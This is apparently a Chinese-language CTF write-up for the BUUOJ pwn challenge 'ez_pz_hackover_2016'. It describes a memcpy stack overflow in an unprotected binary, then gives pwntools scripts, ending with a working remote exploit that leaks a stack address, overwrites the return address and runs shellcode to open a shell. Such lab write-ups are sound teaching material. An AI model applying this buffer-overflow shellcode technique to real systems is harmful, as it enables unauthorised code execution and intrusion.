ez_pz_hackover_2016
很好的动调入门

其他函数用处不大,直接看到chall函数
fget函数可以接收最长1023个字节的字符串,但是不足溢出,完全不够
看到vuln函数

很合理了,通过memcpy完成溢出,够了。啊对了

checksec一下,是没有保护的,所以我们可以嘿嘿嘿。想办法用shellcode.
那好,shellcode往哪放还有返回地址是多少。
点击查看代码
from pwn import *
io=process("./ez_pz_hackover_2016")
context.log_level='debug'
gdb.attach(io,'b*0x08048600')
io.recvuntil('crash: ')
s_addr=int(io.recv(10),16)
payload='crashme\x00'+'asdasd'
io.sendline(payload)
pause()
点击查看代码
from pwn import *
io=process("./ez_pz_hackover_2016")
context.log_level='debug'
gdb.attach(io,'b*0x08048600')
io.recvuntil('crash: ')
s_addr=int(io.recv(10),16)
payload='crashme\x00'+'a'*18
payload+=p32(0)+asm(shellcraft.sh())
io.sendline(payload)
pause()
点击查看代码
from pwn import*
#io=process("./ez_pz_hackover_2016")
io=remote("node4.buuoj.cn",26290)
io.recvuntil('crash: ')
s_addr=int(io.recv(10),16)
shellcode=asm(shellcraft.sh())
payload='crashme\x00'+'a'*18+p32(s_addr-28)+shellcode
io.sendline(payload)
io.interactive()

浙公网安备 33010602011771号